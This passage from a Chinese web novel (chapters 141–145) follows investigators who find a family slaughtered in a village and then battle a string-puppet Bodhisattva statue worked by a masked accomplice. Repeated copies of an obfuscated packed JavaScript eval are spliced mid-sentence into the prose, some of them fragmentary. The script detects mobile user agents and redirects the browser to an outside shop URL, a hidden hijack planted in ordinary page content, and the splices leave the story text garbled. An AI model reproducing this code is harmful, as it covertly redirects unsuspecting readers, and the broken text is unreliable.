冷萤轻声道:“你的爹娘,更需要你的照顾。你既已知自己做错,为何不同我们一起出去,去揭开杜桂风的真面目,让他得到应有的惩罚?” 方骅也开口道:“是的!有了你的证据,杜桂风他逃不掉的。” 林苑摇了摇头,凄楚笑道:“没用的,你们不知道他的可怕。”说完,她将另一只手指向血池里的那些琥珀,继续道:“你们知道他为什么要杀掉那么多人吗?” 还未等几人回答,她便继续道:“……只不过是为了用那些人的鲜血养出血珀。他说过……有一位贵人极爱血珀,所以无论杀多少人他都无所谓的。” “贵人?”方骅低低重复了一句。 不光是方骅,珊瑚也同时瞪大了双眼,快速将目光投向池中那些大小不一,有些已经染上几丝血色的琥珀。 随后,她突兀地问道:“那位贵人是谁?” “我也不知道。只是……有一次听他与面具人说话时,言辞间提到过一次宫中。”林苑回答她。 “宫中?” “长什么样子?” 方骅在前,珊瑚在后,两人一脸严肃的同时朝林苑问道。 这下,不仅女孩疑惑,就连冷萤与姜小四也因为他们陡然激动的情绪而侧目。 接收到同伴投来的疑惑目光,两人又分明怔了怔。 方骅最先反应过来,拳头抵住嘴角轻咳一声,像是在掩饰自己方才激动的情绪。 而珊瑚直到林苑开口说话,眼神都还处在迷惘中。 “我是真的不清楚,这些话全都是我偷听来的。面具人他知道的比我多,只是他擅长躲避,所以我也不知道他究竟在哪处。”林苑摇了摇头,说道。 听罢,方骅无意识地点了点头。 瞧了眼他凝重的脸色,又瞧了瞧已经恢复正常之色的珊瑚,冷萤有些莫名地耸了耸肩,决定暂时不询问他们的反常行为。 只是在两人投来目光时,她朝林苑那处使了使眼色,让他们不要忘记行动。 两人微点头表示明白,随后状似无意地将目光移到林苑的身上。 为了转移林苑的注意力,冷萤再次开口:“你觉得杜桂风和那个面具人会去哪里?” 对方正在思考时,方骅与珊瑚行动了。 他们俩,一个放出弦丝捆住林苑的腰,另一个则以最快的速度闪身上前,一个回旋踢,直中林苑手中的那把刀。 闪着冷光的佩刀被他一脚踢进了血池中,溅起了不小的水花。 “你们放开我,能不能不要管我了?”林苑刹那间被捆住,正恼羞成怒地挣扎着,被走上来的卢辉抓住。 少年一边制止林苑的动作,一边朝冷萤几人问道:“可不可以让我带着她游水?她现在情绪不稳定,不会听你们的话的。我保证,不会带着她逃走。” 见对方一脸信誓旦旦的模样,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547132|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人互看了眼。 方骅点头同意道:“可以是可以,但必须寸步不离地跟在我身后,我会盯着你们游出洞口的。” “没问题。”卢辉见他们同意,态度坚定回道。 林苑还在不停地挣扎,众人没再管她,各自准备好后就商量着下水。 方骅与姜小四先下去确定方向,在探好路后才钻出水面,示意卢辉可以带着林苑下来了。 冷萤与珊瑚两人垫后,这样即便卢辉又生了异心想带走林苑,他们也能及时反应过来。 少年点点头,走到离方骅不远之处。 他先是耐心说服林苑配合,好不容易对方乖乖听话后,这才有些不放心地将她送下水。 所有的人,目光都聚集在这一对上面。 谁也没有发现,就在离卢辉和林苑的不远处,有什么东西正在血池下游动着,在稍稍泛起一丝涟漪后,很快便消 失了。 在安置好林苑后,卢辉这才自己准备下水。 可就在他一只脚刚接触到水面时…… 离林苑不远处的血池面上,突然水花大作! 一名双目血红的死士,举着方才被方骅踢下血池的刀,狠狠地朝林苑的胸口捅了上去。 “林苑!”卢辉大喊了一声。 在场所有的人,全都因这突发的状况而乱了阵脚。 冷萤与珊瑚以最快的速度跑到林苑身后,用弦丝将那名死士的双手捆住后,再慢慢拖上来。 卢辉正用尽力气死死地抱住林苑,而以他们为中心的池水,正逐渐变成暗红色。 方骅与姜小四连忙游过去,与卢辉一同将林苑托举到池边。 “阿苑……阿苑你还好吗?”将女孩的身体平放后,卢辉紧张地一声声喊道。 女孩将手慢慢抬起,想要触向卢辉的脸侧。 “你先不要动,我们想办法将你送出去找大夫。”冷萤见她因为这个动作,胸口淌出的血更多了,没忍住担心道。 林苑并未理任何人,她目光绝望地一直看着卢辉,气若游丝道:“阿辉,照顾好我爹娘。我……我对不起你……” 第一百四十一章 灭门 在这句话说完后…… 她的手在还没来得及碰到卢辉的脸颊时,便重重地垂落下来。 “阿苑,我答应你,你不要死!” 卢辉一把抓住林苑落下的手,将她冰冷的手放在自己的脸侧,随即心如死灰地闭上了眼。 姜小四上前察看了一眼,然后朝几人轻轻摇了摇头。 所有人,都知道他这个动作的含义。 他们怎么都没想到,刚才准备偷袭冷萤的那个死士会一直待在血池中,并有本事自己解开弦丝。 在几人谈话间,这名死士可能一直蹲在血池的某个角落,时不时地起来换下气,随后又深深地潜下去。 在场所有的人都着急破案,没有一个人注意到,在血池的角落里居然有一个解了绑的死士,正躲在暗处虎视眈眈地看着他们。 最后…… 还是珊瑚想的办法,用弦丝捆住林苑的尸体,在另外几人的帮助下,一起游出了血池。 他们答应过林苑,要照顾好林家夫妇。 所以在游出血池后,几人连衣裳都来不及换,便与卢辉一同带着林苑的尸体,借着月色走回了村庄。 夜幕低垂,月光苍白的洒在寂静的小路上。林苑与卢辉的家相邻,虽说没有紧挨在一起,但相比于别家的距离已经很近了。 从远处看,两家室内均是黑暗一片。不知是不是因为太晚,屋内的主人已吹灯歇息的原因。 没有亮灯的房子,在夜色中显得黑沉沉的。 一行人的脚步声回荡在小路上,大家都默契地没有说话。卢辉一个人背着林苑的尸体,冷萤几人想要帮一下手,全都被他婉拒。 越走近他们的家,卢辉的眉头皱得越紧。 在走到田埂尽头,即将推门进入林苑家的外院时,少年不知怎的默默停下了脚步。 “怎么了?有什么不对吗?”冷萤察觉到他的反常,侧头轻声询问。 他一句话不说也不推开院门,就这么直直地站在原地,另外几人自是不好擅自做主。 被问的人先是将目光幽幽地放远,看了眼林苑的家,又瞧了瞧自己的家。 在收回目光后,才回冷萤的话:“我感觉……有点不太对。” “哪里不太对?院里有人?”方骅听他这样说,一步跨上前挡在众人身前。 他个子高,可以从矮墙外一眼瞧见院内的情况。 只瞧了一眼,他便表情严肃地回过头,示意所有人都不要出声。 另外几人虽满腹疑问,却只能看着他脚步极轻地推开院门进入。 他一个人进去目标小一些,万一真有人埋伏在里面,也不易打草惊蛇。 见他整个人走进院内后半天没传出声响,冷萤的一颗心吊在半空中,半刻落不到实处。 珊瑚则是站在最靠近院门的那侧细心聆听着,只要里面有什么动静,她即刻便闯进去帮手。 可半晌后,里面不仅什么都没发生,方骅还大咧咧在里面喊了一声:“都进来吧。” 冷萤和姜小四这才同时松了口气。 他们这一日经历得太多了,不能再出现什么突发状况了。 珊瑚首先推开院门,让背着林苑的卢辉走进院里,冷萤与姜小四紧随其后。 他们一进去,便瞧见方骅的表情不太好。 卢辉紧张地上前问道:“方大哥,是发现了什么吗?” 对方没有回他,只是慢慢将目光垂下,看向草丛里的某一处。 所有人的目光都顺着他的视线瞧过去。 一缕月光洒下,一片衣角便出现在众人眼中。 “里面……是躺着一个人吗?”珊瑚小声地问了句。 方骅走上前,拨开那处满是杂草的草丛。 在他的动作下,一具男人的尸体赫然出现在所有人的眼前。 “林叔?”卢辉不可置信地喊了声,轻轻将林苑的尸体放到地上,再走过去凑近确认。 在蹲下身看清对方的脸后,他表情慌张地又站起身,疯了一样跑出林家,朝自己家跑去。 所有人都有些担心地跟了过去,在卢辉颤抖着手推开院门后他们便瞧见,在卢家门前的地面上,有几滴血迹在月光下格外刺眼。 走一步几滴的血迹,更像是不祥的预兆。 慢慢地……所有人的视线都顺着滴落的血迹朝前方看去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547133|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只见,卢家的大门紧紧关闭着,暗红色的血迹从门缝中渗出,顺着门板下方缓缓流出,染红了门口的石阶。 空气中弥漫着一股令人窒息的血腥味,让所有人都不寒而栗。 卢辉深吸一口气,颤抖着手小心翼翼地推开身前的门,陈旧的木门吱呀作响,缓缓地打开。 下一瞬,屋内的景象让所有人都倒吸了一口凉气。 触目惊心的血迹尽头,一对夫妻的尸体静静地躺在血泊中,他们的双眼睁得大大的,好似在死前看到过什么可怕的画面。 “爹!娘!” 卢辉撕心裂肺地喊了一声,跌跌撞撞地跑上前,半路还差点被地上的血迹滑倒。 冷萤有些担心地跟了进去,另外几人也紧随其后走了进去。 少年跪在父母尸体身 边,双手因为激动大张着,好似突然不知该怎么办才好。 四周的墙壁上血迹斑斑,是凶手在疯狂杀人时留下的印迹。 家中破碎的器皿散落一地,整个房中混乱到绝望。看得出来,卢家夫妇在去世前,曾与凶手经历过一场无望的生死搏斗。 屋内的血腥味更加浓烈,让所有人连呼吸都变得困难。 特别是卢辉,高大的身躯缩到一起哭得快要窒息,他的背影透露出一股对突来的强烈打击而带来的悲痛。 冷萤不知该如何安慰痛哭的少年,只能默默地瞧着他的背影。 卢家既已成了这般模样,他们心知肚明,林家估计也好不到哪里去。 会不会是杜桂风怕事情败露,想将林家与卢家灭门? 只是令他没想到的是,卢辉会因为被林苑带走,而躲过了这一劫。 少年抱着爹娘哭到撕心裂肺,林家的院内还躺着两具尸体。 方骅与姜小四留在卢家照顾卢辉,冷萤则与珊瑚回到了林家。 她们大着胆子推开了林家同样紧闭的大门,屋内的景象果然不出她们所料。 冷萤闭了闭眼,有些不忍心瞧见屋内的惨状。 她转身看着院内躺着的林苑与林父,从未有一刻痛恨自己的动作太慢。 若是他们,能早些赶来就好了…… 第一百四十二章 菩萨像打人事件(1) 几座新坟前,一位清瘦的少年跪在那里。 他的身后站着一排人,全都向他投去了同情的目光。 一夜之间,无辜的少年失去至亲,他们却找不到任何言语可以安慰他。 “你们走吧。”卢辉头也不回地对身后的几人道。 看着他萧瑟的背影,冷萤有些不忍心离开,轻声问道:“你接下来如何准备?” 她这样问的原因,是怕卢辉一时冲动自己去寻杜桂风报仇。 她倒不是不赞成他这样做。 只是那个人太可怕了,卢辉根本不是他的对手! “我们将你送回去后,便会去找杜桂风。”方骅见少年没搭话,开口提醒他。 他的言外之意是想告诉少年,让他不要一个人急着去复仇。这条路上,有他们在前面打头阵,不需要他一个人去冲锋陷阵。 他们原本就在查杜桂风。 昌县一案明面上虽已了结,但在场所有人心中都明白,真正的幕后之人就是杜桂风。 只是,他们怎么都未曾想到。 这个无耻之人,居然在几年前便在这座小镇布下了陷阱,致使沉水镇的百姓,日日都生活在恐惧当中。 “我知道你们的意思。”少年惨然一笑,头也未回道:“你们不用替我担心,我知道自己没那个本事,杀不了那个人。虽然……我做梦都想杀了他……” 少年说得咬牙切齿,身后的几人也只能默默在心里叹息。 在告别卢辉后,几人立即便来到了引香坊前。 继上次方骅与姜小四到此后,现在门上多了两张封条。 珊瑚走到窗台前,将夹在窗台中间的轻纱轻轻一扯,窗户便自行打开。 室内依旧沉黯无比。 方骅与姜小四进去后第一步,便是将那围了一圈的烛台点亮。 “你们且看着。”方骅点亮最后一个烛台后,走到已站在菩萨像前的冷萤身边,对她还有她身边的珊瑚道。 姜小四也走了过来。 四个人,全都聚精会神地盯着那尊即将出现变化的莲花手菩萨像。 烛台上的香烛,一闪一闪地跳跃着。 可直到一滴蜡油滴落,菩萨像身后凤鸟的那双眼,却一点动静也没有。 冷萤默默地,将头转向了面容浮现尴尬的方骅与姜小四二人。 珊瑚则是直接大呼道:“你们那日过来,真的没瞧花眼?” 姜小四疯狂摇头。 “如果眼花,那张香材不全的香方,我们又是何处得来的?”方骅反问她。 有道理…… 冷萤表示同意他的说法,方骅这人性格虽直心倒还算细腻,应当是不会记错的。 更何况,那日他身边还跟着姜小四。 想到这里,她将目光移回到那尊通体红漆的菩萨像身上。 如果方骅与姜小四并未记错的话…… 那便是这尊菩萨像出了问题。 她的视线沿着菩萨像头顶,细细地观察着,特别是身后的那只风鸟…… 等等! 她怎么觉得……这凤鸟羽毛上镶嵌的螺钿,好似与之前有所不同。 羽毛上的纹理与光泽,明显没有之前那只细腻。 还有…… 慢慢地……她指尖伸至菩萨手中捏着的那支五彩莲花上。 莲花花瓣同样用螺钿镶嵌,但与身后的那只风鸟一样,这朵莲花镶嵌的线条也尤为粗犷。 随后,她又将视线转至那朱红色的大漆上。 在同样伸手轻抚菩萨身上的一处大漆后,她的眼神逐渐显现了然之色。 全都不对! 这尊莲花手菩萨像,明显就是赝品! 在发现这一点后,就连她初见这尊菩萨像时,心中所感到的庄严与悲悯之意,好似也在其中消失。 取而代之的,是让人脊背发凉的阴森之感。 她为何…… 会在一尊菩萨像上,瞧出诡异阴森的感觉? 是手法不对吗?还是菩萨的眼神不对? 冷萤一时还不能完全找出答案,只能将脑袋越凑越近。 还是方骅有警觉心,在她身后来了句:“不要凑太近,小心会有问题。” 珊瑚则是好奇地看着弯腰仔细研究的女子,问道:“冷姐姐,你在瞧什么呀?” 她在瞧…… 莲花手菩萨像在烛光的映照下,至身后墙壁上投下一道暗影。 在冷萤凑近时,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547134|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎听到了菩萨的体内好似有什么响了一下。那声音转瞬即逝,仿佛只是她的错觉。 为了证明自己并没有听错,冷萤不顾方骅的阻拦,执意将整个身体侧着贴向菩萨身体,轻轻“嘘”了一声,示意他们不要发出任何动静。 这尊一直静默的菩萨像,今日好似被某种奇怪的力量控制着。 不知是不是错觉,她总觉得自己在直起腰时,这菩萨的眼珠好像跟着她也动了一下。 方骅见她一会儿直起身,一会儿又弯下腰,还时不时在弯腰时抬头看一眼菩萨的头部,没忍住问道:“你怎么了,是不是发现了什么?” 冷萤转头,欲言又止地看了他一眼,刚想说什么时,又把 即将说出口的话给吞了回去。 “哎呀,冷姐姐你到底怎么了?你这样……我都有些害怕了。”珊瑚在一旁埋怨了一句,见她还是弯着腰,又继续道:“你是不是被什么鬼怪给附身了啊?我……我去给你找人驱……驱鬼。” 冷萤头也没回地说了句:“不用,我没事。只是还有些事暂时没搞清楚。” 而就在她话音刚落下时…… 在场所有的人,全都听见了冷萤身前的菩萨像脑袋处,好似“咔嚓”响了一声! 方骅是第一个发现不对劲的! 他的听觉本就比一般人灵敏,这声响绝对逃不过他的耳朵。 “有问题,你离远些。”他顾不上其他,一把扯回冷萤。 就在冷萤被拉回的瞬间,菩萨像的脖子处又清脆地响了一声。 这次发出的声响更大,也更清晰。 所有人的视线,顷刻间全集中到方才发出响声之处。 只见…… 他们眼前那尊菩萨像的脑袋,仿佛被什么所牵引着,缓缓地转动了一下。 “它……它的头刚刚是不是动了?”珊瑚惊恐地睁大双眼,单手指向那处,朝另外几人问道。 站在她身边的人,都还没来得及回答,便瞧见眼前似乎又有了新动静。 冷萤的视线,一直未离开过那尊菩萨像。 她眼见着,它原本和善、怜悯的面容,此刻竟慢慢地扭曲成一种诡异的表情。 细细看来,就像是朝他们勾起了一抹冷笑似的。 第一百四十三章 菩萨像打人事件(2) 它的双眼,虽然看起来空洞且深邃,此时却明显透露着一股莫名的阴暗。 就在几人谁也没回珊瑚的话,且全都不敢发出声音,默默地等待它有没有下一步动作时…… 菩萨像的四肢开始动了。 就如同刚刚启动机关的傀儡,又或是被什么他们看不见的东西牵引着一样,它手持五彩莲花的那只手臂,居然缓缓地抬了起来。 五彩莲花狠狠地自虚空划过,闪过了一丝阴森森的冷意。 “都小心!”方骅大喝一声。 快速后退的四个人,不仅是身体在动,那一刻的脑子也在急速运转着。 他们方才……是被一尊菩萨像给袭击了吗? 引香坊内的烛光在这一刻变得忽明忽暗,将菩萨像的影子投射在墙壁上。 那原本神圣的影子此时居然扭曲到变形,就仿佛有自己的生命一般,随着它的动作,可怕的晃动着。 空气中弥漫着一股可怕的沉默,只有那不停咔咔作响的声音,在提醒他们眼前的可怕! 那尊菩萨像原本就是站立着。 在第一次它僵硬地挥舞手臂,手中的五彩莲花没有伤到众人后,便再没了其他的动作。 方骅让另外三人靠后一些,自己则是慢慢朝前走去,想观察它的背后是不是有什么在控制它。 珊瑚不敢再像方才一样说话声音那般大,她低声对冷萤道:“冷姐姐,那鬼是不是从你身上跑到菩萨身上去了?” 姜小四一听她这样说,瞬间看向她,眼底露出嫌弃之色。 即便是这样紧张的时刻,冷萤还是被珊瑚给逗笑了。 她安抚地拍了拍珊瑚抓着自己胳膊的手,轻声道:“不要迷信,我们静观其变。这菩萨像是被人掉了包,赝品应该被什么给控制住了,乱想不可取。” 方骅一步一步朝菩萨像靠近,冷萤也在不远处睁着一双眸子死死地盯着它。 她怕自己哪个瞬间没注意,提醒得不够及时,导致方骅被对方给伤到。 这样沉重的身躯,被打到铁定会受伤。 可慢慢地…… 空气中好似传来一阵“噼里啪啦”的声响。 所有人都紧张地四处找声源,只有走近的方骅明白了,为何会突然传出这种奇怪的声音。 他眼前的那尊菩萨像,制作它的匠师或许是为了能够固定住它,让它能顺利站直身子,在它身后用了一整张沉香木板来控制。 而沉香木的侧上方,便是那只凤鸟。 这浑然一体的雕刻手法,并没有让他们太过注意菩萨身后的沉香木板。 如果不是此时此刻,整个菩萨的身体正在与身后的木板分开,发出噼里啪啦木料撕裂的声响,他们或许还不会注意到。 它仿佛入了魔一般,整个人保持着朝前走的姿势,一只腿往前跨出,另一只腿却动都没动一下。 右手依旧结着愿印,左手的五彩莲花因为他方才的动作,有几片螺钿微微脱落。 按平时,绝不会出现这种情况。所以从这一点,就能看出这已经不是原来那尊菩萨像了。 撕裂之声越来越大,方骅站在原地不再往前走。 所有人即便都很紧张,却没有一个人想从引香坊走出去。 不管这店里的是人是鬼,他们都要留在这里会一会。 他们倒要看看,这背后之人做出这等怪力乱神之事,究竟是何为? 就在那尊菩萨像与身后的沉香木,还有那只风鸟彻底分割开来的下一刻,便挥舞着手中的五彩莲花,朝离它最近的方骅开始攻击起来。 笨重的动作,被方骅灵巧地躲开。 但它的体型太庞大了,方骅躲了没两下,店里的所有东西几乎被毁了一半。 包括围着店内整整一圈的烛台。 在打不着方骅后,它原地停顿了好一会儿。 就在所有人都以为它不会再有动作时…… “咔嚓……咔嚓……”刺耳的声音再次响起。 它的身体依旧朝方骅那处站着,整个脑袋却慢慢地向身后转去,直到整颗头完全转到身后。 它两边的嘴角不知怎的,突然僵硬地朝上钩了勾。然后……整个身体以倒退的姿势,快速向离它最近的冷萤跑去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547135|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 其实,冷萤已经发现它的目的了。 奈何这家店实在太小,如果自己闪开的话,对方攻击的便是珊瑚和姜小四。 可即便她已经将两人使劲推开了,在对方攻击过来她准备蹲身往下躲时,姜小四和珊瑚还是一同跑了回来。 珊瑚的弦丝一根一根朝它身上射去,却丝毫阻止不了对方的脚步。 还有姜小四,他不知怎么想的,居然开始对它使上了药粉。 这明显不起任何作用的动作,让冷萤一边躲着,一边替他捏了把冷汗。 方骅也不停地用折扇攻击,拳脚相加,还是无法撼动这有着巨大重量的菩萨像分毫。 所有人都知道,这样下去不是办法。 但没有一个人停下攻击。 哪怕是有一丝希望,他们都不会放任这个没有生命的东西伤人。 “方骅!”冷萤突然发现了一件事,急急朝正在 动手的男人喊了声:“退到门口。” 被叫到的那人点了点头,以最快的速度跃至大门口。 随后,她又朝另外两人喝了声:“走,退后!” 三个人看都不看身后,凭着直觉退到门口站在了原地。 此时,让他们惊奇的一幕发生了…… 原本一直拿体型优势胡乱攻击他们的菩萨像,突然像被定住了一样,停下了所有动作,好似再也无法朝前移动一步。 “它没办法过来耶……”珊瑚累得不行,还不忘感到稀奇地嘟囔了一句。 冷萤方才就是发现了这一点,才让他们快快退至门口。 刚才躲避对方殴打时,她就发觉有一点很奇怪。 无论他们怎样闪躲,那尊菩萨像,就好似被安排好了既定动作一样行动,这也是他们为什么能在如此狭小的店内,却未与那巨物碰撞过一次的原因。 “它无法过来了。”她喃喃一句,提醒自己的伙伴们,“控制它的人,只能在那一处小范围里活动,再远一些就不行了。” “你是说……”方骅诧异地望向她,问道:“有人躲在暗处,正在控制它的整个身体?” 第一百四十四章 悬丝傀儡 方才一直处于诧异和慌乱中珊瑚,在听见方骅与冷萤的讨论时目光微微一怔。 她的表情好似想到了什么,眼神瞬间朝那尊巨大的菩萨像看去。 可惜隔得太远了,什么也瞧不清。 她盯着立在原处的菩萨像,见它手中的五彩莲花花瓣已全数“凋零”,只余下一根花茎直直地杵在手中。 珊瑚觉着,自己得去那菩萨身后瞧上一眼才行。 想到这里,她刚准备趁几人不注意时,偷偷从后方绕到菩萨像后方,去解答自己突生的疑惑。 却在刚动作的下一瞬,瞧见他们眼前那尊巨物,它原本一直保持着诡笑的朱红色嘴唇突然动了动。 “速…速…离…开…沉…水…镇…” 沉闷如鼓槌敲打在鼓面上的声音,在每个字落下后,还带有闷闷余震的男声,突兀地传进引香坊每人的耳朵里。 一尊木头雕刻的菩萨像,居然开口讲话了。 珊瑚和姜小四同时谨慎地后退一步,目光却不由自主地朝前方看过去。 如果方才菩萨像突然袭击人,吓到姜小四差点开口说话。这次他瞧见菩萨像居然自己开口说话时,无疑是受到了更加剧烈的冲击。 他转头看着另外两人,他旁边的珊瑚早已兴奋到全身压抑不住微微颤抖了,但为何冷萤与方骅依旧是面无表情? “冷姐姐你听到了吗?菩萨像说话了……”珊瑚只用了一瞬,便接受了对方开口说话时,对自己造成的强烈的震撼。 她不是不知道冷萤也听见了,但此刻若是不开口说话,她怕自己会兴奋到突然跑过去,对那尊菩萨像上下其手。 刚才的画面让她想到了,自己每每用弦丝绑着人吊打时的场景。 可她用弦丝控制的都是活人啊,但这可是一尊用木头雕刻出的菩萨像耶。 她真的好想过去瞧一瞧,它背后究竟是谁人在控制着,能让它活动自如的同时,居然还能开口说话。 “珊瑚,你能帮我一个忙吗?”冷萤点点头,随后小声地找她求助。 “当然可以,冷姐姐尽管说。”珊瑚虽然在回答对方,但视线全程都在菩萨像身上。 “我俩一会儿分开跑过去,去引起菩萨像的注意。方骅想去观察它身后究竟是什么在控制着。”冷萤说完,看向姜小四道:“你找个地方躲好,可以吗?” (我也想去……) 结果,他的动作太慢了,三个人一个都没看见他微弱的抗议。 珊瑚巴不得现在就过去,直接动手将姜小四往下一按,让他快点躲好。 随后,她和冷萤对视一眼,交换眼神后便一鼓作气,一个朝东一个朝西分别向菩萨像身边跑去。 且不说这菩萨像身量庞大,它本身就是靠某个东西控制着,自然动作不可能像人那样灵活。 而控制它的人,更没预料到她们会突然在屋内到处乱窜,更是一下子慌了手脚。 躲在暗柜下,只露出一双眼睛的姜小四。就瞧着那菩萨像一会儿伸出结印的右手想挥过去拦住灵巧的珊瑚,片刻又想拿花茎朝左边的冷萤身上抽去。 手忙脚乱的动作,让它一个都没能得逞。 它的表情虽然木然呆滞,姜小四却自它的动作里,瞧出了暴怒和一闪而过的无措。 就在那尊菩萨像不知该攻击谁时,方骅猛地一跃而起跳至它的后背,死死地压坐在它的肩膀上。 “你…们…”菩萨像里传出的声调有些慌乱,即便是闷重的音色都无法压住的慌乱,“居…然…敢…亵…渎…神…明…” 忙乱的三个人,躲的躲、忙的忙,没一个人在意它在说什么。 只有真正畏惧它的姜小四听见了,将露出的眼睛收了回去。 坐在它肩膀上的方骅,猛地发现菩萨的天冠上好似有蹊跷。 虽然整个引香坊不再像之前那样亮堂,周边的烛台在方才的缠斗中毁损了不少,导致现下整个室内暗了许多。 但即便如此,方骅还是找到了菩萨像为何突然会动的缘由。 只见,好多根细细密密的丝线,自它头部的天冠处慢慢延伸至屋顶。 原来…… 这菩萨像之所以会动,就是靠这无数根丝线控制着。 在他发现这一可疑之处时,隐藏在暗处的人也马上发觉到不对。 巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547136|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菩萨像倏然间停下了动作,闪躲了好久的冷萤与珊瑚,也正好可以停下动作稍微喘口气。 “呼……有发现什么吗?”冷萤撑着腰,语气因为剧烈运动而有些不稳。 珊瑚则是在停下动作的下一刻,便兴冲冲地抬头看着方骅,示意他快些说说。 方骅并未立即回答她们,而是一直盯着眼前的天冠微微眯起了眼。 就在珊瑚这个急性子准备再次开口时,他突然开始动作了。 不过他的动作着实有些奇怪,就好像突然被什么上了身似的,双手轻轻地搭在了菩萨像的天冠上,好似在为其拂去灰尘一样。 “他中邪了?”珊瑚看不明白他的举动,朝同样表情严肃的冷萤问了一句。 冷萤摇摇头,没有回答。 她相信,方骅这样做自然有他的道理。 见冷萤一直抬头望着上头的方骅,珊瑚好似也察觉到了什么,闭着嘴不再出声。 冷萤的视线,一直随着方骅的双手移动。 她看着男人细长的手指,先是抚了抚菩萨像的天冠处,随之屈起手指用指关节细不可察地轻敲一下,仿佛是在听那里发出的声音。 就在冷萤以为他什么都没有发现时…… 对方动作极快地出了手。 只是动作瞧起来依旧匪夷所思,导致珊瑚没忍住不确定地又问了句:“他到底在干什么,真的没有中邪吧?” 冷萤的心,随着方骅的动作一下子揪起。 从他此刻不同于方才的坚定表情里,她可以看出他已经找到破局的关键之处了。 只是,她也觉得他这个动作有些奇怪。 微皱着眉,她看着方骅的一只手掌,以飞快的速度朝虚空中轻轻一握。随后,另外一只手掌也以同样的姿势,叠放上去。 就在众人眨眼之时,他以迅雷不及掩耳之势,整个身体猛地跃下菩萨像,稳稳地踩在了地面上。 冷萤和珊瑚还未完全回过神…… 就看见整个菩萨像骤然散了架,顷刻间变成了一堆木头。 下一瞬! 一道紫色的身影自屋顶上方掉下,摔落在众人眼前。 第一百四十五章 真正的凌风 “面具人?”珊瑚诧异一句。 加上跑过来姜小四,四个人诧异地看着躺在地上戴着面具的男人。 跟着男人一起掉落下来的,还有一块长形木板,木板下缀着无数根透明丝线。 若不是这些丝线全都被归拢在那小块长形木板上,以正常人的肉眼,根本无法看清那一根根透明如弦丝的线条。 “悬丝傀儡?”珊瑚看着男人手旁的木板,诧异地问出口:“你是操纵傀儡的演师?” 也不知是不是自高处跌落,将面具人整个摔晕。 在珊瑚问出那句话后,躺在地上的人久久没有反应。 珊瑚可不吃他那一套,敢将菩萨像做成傀儡耍他们,她才没必要对他过于客气。 况且,在场的人都知道他是杜桂风的走狗。 想到这里,她走上前正准备一脚踩在对方脖颈处,没想到原本安静躺在地上一动也不动的男人,突然一骨碌爬了起来。 他有些后怕地摸着自己的脖子,对正想对他“施暴”的珊瑚道:“这位黄衣姑娘,我们又见面了。” “这你做的?”珊瑚可不吃他这一套,直接开口问道。 既已知道对方几斤几两,她直接上手就将对方一把拉了过来,盯着他的面具道:“哟,新面具呢?” 这句话,让男人想起自己原本的面具是怎么失去的,顿时身体不安地往后仰了仰,却怎么也逃不开珊瑚的掌控。 “一个没啥本事的人,”珊瑚上上下下打量了他好久,问道:“杜桂风居然敢将你一个人留在这里?” 嘲笑完,她用力扯过男人的衣襟,大喝一声道:“说,杜桂风是不是像上次一样躲在暗处,想关键时刻再将你给拖走?” 男人全身的姿势都在抗拒她的动作,被珊瑚的目光给盯了回去。 见无法逃避,男人连忙摇着头道:“没……没,他只是说你们会过来,安排我在这里将你们拖住。” “为什么要拖住我们?”冷萤察觉到了不对,问道:“是因为他身边有什么重要的东西要处理,不想让我们发现吗?” 